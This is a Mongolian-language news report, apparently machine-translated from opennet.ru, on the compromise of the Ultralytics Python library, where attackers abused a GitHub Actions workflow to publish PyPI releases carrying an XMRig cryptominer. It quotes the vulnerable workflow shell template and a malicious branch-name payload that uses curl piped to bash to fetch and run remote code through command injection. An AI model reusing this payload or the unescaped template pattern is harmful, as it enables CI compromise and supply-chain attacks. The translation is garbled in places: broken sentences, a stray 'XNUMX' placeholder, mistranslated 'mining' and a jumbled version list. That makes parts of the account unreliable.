Халдагчид Ultralytics Python номын сангийн репозитор дахь GitHub Actions зохицуулагчийн эрхээр кодыг ажиллуулж чадсан бөгөөд энэ нь зураг дээрх объектуудыг илрүүлэх, дүрсийг сегментлэх зэрэг компьютерийн харааны асуудлыг шийдвэрлэхэд ашиглагддаг. Хадгалах газарт нэвтэрсний дараа халдагчид PyPI лавлах дахь хэд хэдэн шинэ Ultralytics хувилбаруудыг нийтэлсэн бөгөөд үүнд криптовалют олборлоход хортой өөрчлөлт орсон байна. Сүүлийн нэг сарын хугацаанд Ultralytics номын санг PyPI каталогоос 6.4 сая гаруй удаа татсан байна.
Хадгалах байгууламжийг эвдэхийн тулд GitHub үйлдлийн механизмыг ашиглан GitHub дээрх репозитор дээр тодорхой үйлдэл хийх үед автоматаар зохицуулагчийг эхлүүлэхэд ашигладаг ultralytics-action багцад эмзэг байдлыг ашигласан. Ultralytics төсөлд эмзэг хандагч pull_request_target үйл явдалд холбогдож, шинэ татах хүсэлт ирэх үед дуудагдсан. Ялангуяа илгээсэн татах хүсэлтийн кодыг форматлахын тулд format.yml зохицуулагчийг дуудаж, action.yml файлын "ажиллуулах" хэсэгт заасан кодыг гүйцэтгэсэн бөгөөд үүнд орлуулах загвар бүхий бүрхүүлийн командуудыг агуулсан: git pull origin. ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"
Тиймээс татах хүсэлтэд дурдсан Гит салбарын нэрийг зохих ёсоор зугтахгүйгээр бүрхүүлийн командууд болгон орлуулсан. 8-р сард ultralytics-action багц нь цуурай функцэд гадаад утгыг ашиглахтай холбоотой ижил төстэй эмзэг байдлыг зассан нь анхаарал татаж байна: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »
GitHub Actions зохицуулагчийн контекст дээр өөрсдийн кодоо гүйцэтгэх ажлыг зохион байгуулахын тулд халдагчид ultralytics репозитор руу татах хүсэлтийг илгээж, салбар нэрээр дараахыг зааж өгсөн: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Үүний дагуу татах хүсэлтийг хүлээн авах үед халдагчийн тодорхойлсон "$(...)" мөрийг кодонд оруулсан бөгөөд энэ нь боловсруулагчийг дараа нь эхлүүлэх үед "curl -sSfL raw.githubusercontent" кодыг ажиллуулахад хүргэсэн. com/…/file.sh | bash".

GitHub Үйлдлийн контекст дээр ажиллаж байгаа кодыг репозиторын хандалтын токен болон бусад эмзэг өгөгдлийг барихад ашиглаж болно. Халдагчид GitHub Actions дээр өөрийн кодыг ажиллуулах чадвартай хувилбарыг яг яаж гаргаж чадсан нь publish.yml зохицуулагчийн өөрчлөлтийн улмаас боломжтой болсон гэж хараахан тодорхойгүй байна (халдагчид файлын баталгаажуулалтыг устгасан; PyPI-д хувилбаруудыг нийтлэхийг зөвшөөрсөн данс) болон GitHub Actions бүтээх кэшийг хордуулах технологи ашигласан нь таны өгөгдлийг хувилбарт оруулах.
Ultralytics 8.3.41-ийн анхны хортой хувилбарыг халдагчид 12-р сарын 4-ний өдрийн 23:51 цагт (MSK) PyPI дээр нийтэлж, маргааш нь 12:15 цагт устгасан. 15:47 цагт өөр нэг хувилбар болох 8.3.42-ийг нийтэлж, 16:47 цагт устгасан. Тиймээс хортой хувилбаруудыг нийт 13 цагийн турш татаж авах боломжтой байсан (PyPI нь өдөрт ultralytics сангаас ойролцоогоор 250,000 удаа татагдсаныг бүртгэдэг). 8.3.41 болон 8.3.42 хувилбарууд нь гадны эх сурвалжаас татаж авсан кодыг агуулсан байсан. сервер Криптовалютын олборлолтын XMRig бүрэлдэхүүн хэсэг.
Төслийн хөгжүүлэгчид асуудлыг засч залруулах 8.3.43 болон 8.3.44 хувилбаруудыг гаргасан боловч хоёр өдрийн дараа дахин халдлага үйлдэгдсэн бөгөөд энэ үеэр халдагчид өнөөдөр 04:41 ба 05:27 цагт (MSK) хоёр нэмэлт хорлонтой хувилбарыг нийтэлжээ. 8.3.45 8.3.46 ба 8.3.44, үүнд уул уурхайн бусад . Мөрдөн байцаалтын ажиллагаа дуустал хэрэглэгчдэд шинэ хувилбаруудыг суулгахаа түр зогсоож, XNUMX хувилбарыг хамаарал болгон засахыг зөвлөж байна.
Эх сурвалж: opennet.ru
